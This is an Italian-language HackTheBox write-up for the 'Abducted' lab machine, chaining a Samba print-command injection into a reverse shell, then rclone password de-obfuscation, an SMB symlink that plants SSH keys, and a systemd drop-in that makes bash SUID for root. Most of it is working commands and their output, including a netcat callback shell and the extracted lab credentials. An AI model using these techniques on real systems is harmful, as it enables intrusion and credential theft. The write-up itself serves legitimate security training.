
🔴 HackTheBox Abducted (Medium) — CVE-2026-4480 (Samba %J) → divulgazione rclone → SMB-Symlink → systemd Drop-in → Root
** Difficoltà: ** Media · ** Sistema operativo: ** Linux · ** Categoria: ** Samba CVE / Escalation dei privilegi
Di @timgad794
Abducted simula un server locale di file e stampa compromesso in un ambiente di servizi professionali. La macchina concatena una vulnerabilità del sottosistema di stampa Samba (CVE-2026-4480), una fuga di credenziali rclone, un attacco con symlink SMB e un'escalation di privilegi tramite drop-in di systemd.
Catena di exploit:
Recon (nmap) → SMB enum (HP-Reception printer share)
→ CVE-2026-4480 (Samba %J command injection) → RCE as nobody
→ /opt/offsite-backup/rclone.conf (obfuscated password)
→ rclone reveal → cleartext password
→ SSH as scott → User Flag
→ SMB symlink via "wide links" + "force user = marcus" → SSH as marcus
→ systemd drop-in (smbd.service.d) → SUID bash → root
Scansione Nmap iniziale: Scansione Nmap
Reverse shell come nobody: Reverse Shell
Root shell con bash SUID: Root Shell
echo "10.129.244.177 abducted.htb" | sudo tee -a /etc/hosts
nmap abducted.htb -sCV -A -oN abducted-nmap.txt
Risultati:
| Porta | Servizio | Versione |
|---|---|---|
| 22/tcp | SSH | OpenSSH 9.6p1 Ubuntu |
| 139/tcp | netbios-ssn | Samba smbd 4 |
| 445/tcp | netbios-ssn | Samba smbd 4 |
3 porte TCP aperte — un file e print server Linux.
smbclient -L //abducted.htb -N
Output:
Sharename Type Comment
--------- ---- -------
HP-Reception Printer Reception printer
projects Disk Hartley Group Project Files
transfer Disk Staff file transfer
IPC$ IPC IPC Service (Hartley Group Document Services)
Risultati principali:
HP-Reception — condivisione stampante con accesso guesttransfer — condivisione per il trasferimento di file (usata successivamente per l'attacco symlink)Samba passa la descrizione del lavoro di stampa controllata dal client al print command tramite il segnaposto %J senza effettuare l'escape dei metacaratteri della shell. Ciò consente ad attaccanti non autenticati di eseguire comandi arbitrari con l'account del servizio di stampa.
git clone https://github.com/TheCyberGeek/CVE-2026-4480-PoC.git
cd CVE-2026-4480-PoC
cat exploit.py | head -30
Terminale A:
nc -lvnp 8443
Terminale B:
cd ~/CVE-2026-4480-PoC
python3 exploit.py 10.129.244.177 10.10.16.96 8443 -P HP-Reception
Output atteso:
[*] target : 10.129.244.177 (\\10.129.244.177\HP-Reception)
[*] callback : 10.10.16.96:8443
[+] print job submitted -- check your listener
Terminale A:
Connection received on 10.129.244.177 ...
nobody@abducted:/var/spool/samba$
Ora abbiamo RCE come nobody (uid=65534).
id
# uid=65534(nobody) gid=65534(nogroup)
cat /etc/passwd | grep -E "bash|sh$"
# → root, scott, marcus
find / -type f -name "rclone.conf" 2>/dev/null
# → /opt/offsite-backup/rclone.conf
cat /opt/offsite-backup/rclone.conf
Output:
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix
rclone utilizza un'offuscamento base64 reversibile. Usa rclone stesso:
# On Kali (not inside the shell)
sudo apt install -y rclone
rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
Output:
iXzvcib3SrpZ
scottssh [email protected]
# Password: iXzvcib3SrpZ
Accesso riuscito!
id
# uid=1000(scott) gid=1001(scott)
cat ~/user.txt
# 🟢 User Flag
scott → marcusLa condivisione transfer in /etc/samba/shares.conf contiene:
[transfer]
path = /srv/transfer
force user = marcus
wide links = yes
...
Significato:
force user = marcus — ogni operazione sui file viene eseguita come marcuswide links = yes — i symlink possono puntare al di fuori della directory condivisaCome scott nella sessione SSH:
# SSH keypair in scott's home (not /tmp — nobody owns files there)
ssh-keygen -q -t ed25519 -N '' -f ~/k
# Symlink to marcus's home
ln -s /home/marcus /srv/transfer/keys
# Upload public key — ABSOLUTE paths required (smbclient does not expand tilde)
smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
-c 'put /home/scott/k.pub keys/.ssh/authorized_keys'
Verifica:
smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
-c 'get keys/.ssh/authorized_keys /tmp/ak'
diff /tmp/ak /home/scott/k.pub && echo "KEYS MATCH"
ssh -i /home/scott/k -o StrictHostKeyChecking=no marcus@localhost
id
# → uid=1001(marcus) groups=1002(marcus),1000(operators)
Importante: operators è il gruppo chiave per l'escalation.
marcus → rootfind / -group operators 2>/dev/null
# → /etc/systemd/system/smbd.service.d
ls -ld /etc/systemd/system/smbd.service.d/
# drwxrws--- 2 root operators
Il gruppo operators ha accesso in scrittura alla directory drop-in di systemd del servizio smbd.
Come marcus:
cat > /etc/systemd/system/smbd.service.d/daffy.conf << 'EOF'
[Service]
ExecStartPre=/bin/bash -c 'chmod +s /bin/bash'
EOF
Reload + restart (polkit consente a operators di eseguire daemon-reload senza password):
systemctl daemon-reload
systemctl restart smbd
/bin/bash -p
id
# → euid=0(root)
cat /root/root.txt
# 🔴 Root Flag
Box completamente compromessa. ✅
| Flag | Percorso |
|---|---|
| 🟢 Utente | /home/scott/user.txt |
| 🔴 Root | /root/root.txt |
| Concetto | Applicazione |
|---|---|
| CVE-2026-4480 | Iniezione del comando di stampa %J di Samba → RCE |
| Deoffuscamento rclone | rclone reveal per deoffuscamento base64 reversibile |
| Riuso delle password | La password di svc-backup funziona anche per scott |
| Attacco symlink SMB | wide links = yes + force user = marcus |
| Dirottamento drop-in systemd | Accesso in scrittura a smbd.service.d → ExecStartPre |
| Bash SUID | chmod +s /bin/bash + /bin/bash -p → euid=0 |
| Bypass di polkit | Il gruppo operators può eseguire daemon-reload senza autenticazione |
Scopri gli strumenti più utilizzati dalla nostra community.
Nessun dato di popolarità ancora.